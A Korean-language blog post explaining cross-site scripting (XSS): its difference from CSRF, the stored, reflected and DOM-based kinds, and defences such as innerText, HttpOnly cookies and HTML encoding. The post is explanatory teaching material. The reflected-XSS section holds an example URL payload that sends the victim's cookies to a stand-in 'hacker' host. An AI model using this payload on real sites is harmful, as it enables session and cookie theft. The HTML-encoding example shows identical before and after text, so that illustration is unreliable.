XSS란
- Cross Site Scripting으로 웹 사이트에 악성 스크립트를 주입하는 행동을 의미함
- 클라이언트 사이드 취약점
- 사용자 뿐만 아니라 서버도 공격 가능함
CSRF와의 차이점
CSRF
- 특정 사이트가 사용자를 신뢰한다는 점을 공격, 악성코드가 서버에서 발생
- 권한 도용이 목적
XSS
- 사용자가 특정 사이트를 신뢰한다는 점을 공격, 악성코드가 클라이언트에서 발생
- 쿠키, 세션 탈취, 웹사이트 변조가 목적
XSS 공격 종류
- Stored XSS
해커가 악성 스크립트를 DB에 저장시키고 사용자에게 악성 스크립트를 보내는 것이다.
DB에 계속 저장되기 때문에 지속적으로 공격을 한다.
예를 들어, 해커는 게시글 작성을 통해 악성 스크립트를 DB에 저장시킨다.(ex 게시글 조회 시 쿠키 내놔)
다른 사용자들이 해당 게시글을 조회할 때마다 악성 스크립트가 실행되게 되는 것이다.
서버에서 필터링을 하기 때문에 공격이 성공하기 어렵지만,
성공하면 관리자가 눈치채기 어려워서 광범위한 피해를 줄 수 있다.
- Reflected XSS
사용자가 스크립트가 포함된 요청을 보내면 서버로부터 스크립트가 그대로 반사되어 응답 메시지에 담겨온다.
응답을 받은 브라우저에서 스크립트가 실행되는 것이다.
해커의 입력이 HTTP 응답에 그대로 포함되어 다시 반사(Reflected)되어 보인다해서 지어진 이름이다.
예를 들어, 게시물을 조회하기 위한 검색창에 스크립트를 포함하는 방법이 있다.
일부 서비스에서는 검색 결과를 응답에 포함한다.
사용자가 게시물을 검색하면 서버에서는 검색 결과를 반환해주는데,
응답에 검색 결과가 포함되어 있다면 악성 스크립트가 실행되는 것이다.
아래와 같이 해커가 악성 스크립트를 URL에 담는다.
http://service.com?search=<script>location.href('http://hacker/cookie.php?value='+document.cookie);</script>
이때 URL을 보고 악성 스크립트라는걸 알아챌 수 없도록 인코딩을 한다.(위의 예시는 인코딩 X)
사용자가 해당 URL을 클릭하면 스크립트가 실행되고 쿠키를 전송하게 되는 것이다.
Reflected XSS는 서버에 스크립트를 저장하지 않아서 서버에서 이루어지는 필터링을 피할 수 있다.
- DOM Based XSS
html 페이지를 분석하여 DOM을 생성할 때, 악성 스크립트가 DOM의 일부로 구성되어 생성되는 공격이다.
위에 나온 2개의 공격은 사용자의 요청을 처리하는 과정에서 취약점이 존재하고,
응답으로 악성 스크립트를 전송해주지만 DOM Based XSS는 클라이언트 측에서 발생하는 취약점이다.
악성 스크립트로 인해 클라이언트 측 코드는 원래 의도와 다르게 실행되고 서버에서 탐지하기 어렵다.
eval() 함수: eval()은 인자로 들어온 문자열을 코드로 해석하기 때문에 DOM Based XSS 공격에 사용된다.
XSS 방어방법
- innerHtml 사용 자제
innerHtml 대신에 innerText를 사용하자.
innerText는 html 태그를 텍스트로 해석하기 때문에 악성 스크립트가 실행되지 않는다.
- 쿠키의 HttpOnly 옵션을 활성화
쿠키의 HttpOnly 옵션을 활성화하게 되면, 자바스크립트로는 쿠키를 탈취할 수 없다.
- XSS 특수문자를 치환
HTML 인코딩을 사용하면
<script><alert>Hello World!</alert></script>
위의 코드가
<script><alert>Hello World!</alert></script>
다음과 같이 인코딩돼서 plain text가 서버로 넘어오기 때문에 XSS를 예방할 수 있다.
- 보안 라이브러리 사용
MS의 "AntiXSS"나 Mozila의 "Blench" 등 보안 라이브러리를 이용하면 XSS를 막을 수 있다.
참고로 vue와 react에서는 xss 공격에 대비해준다.
https://v2.ko.vuejs.org/v2/guide/security.html
'WEB' 카테고리의 다른 글
리플로우와 리페인트(Reflow, Repaint) (0) | 2024.07.08 |
---|---|
브라우저 렌더링 과정 (0) | 2024.07.03 |
CSRF (0) | 2024.07.02 |
HTTP/1.0, HTTP/1.1, HTTP/2, QUIC(HTTP/3) (0) | 2024.06.27 |
HTTP vs TCP (0) | 2024.06.24 |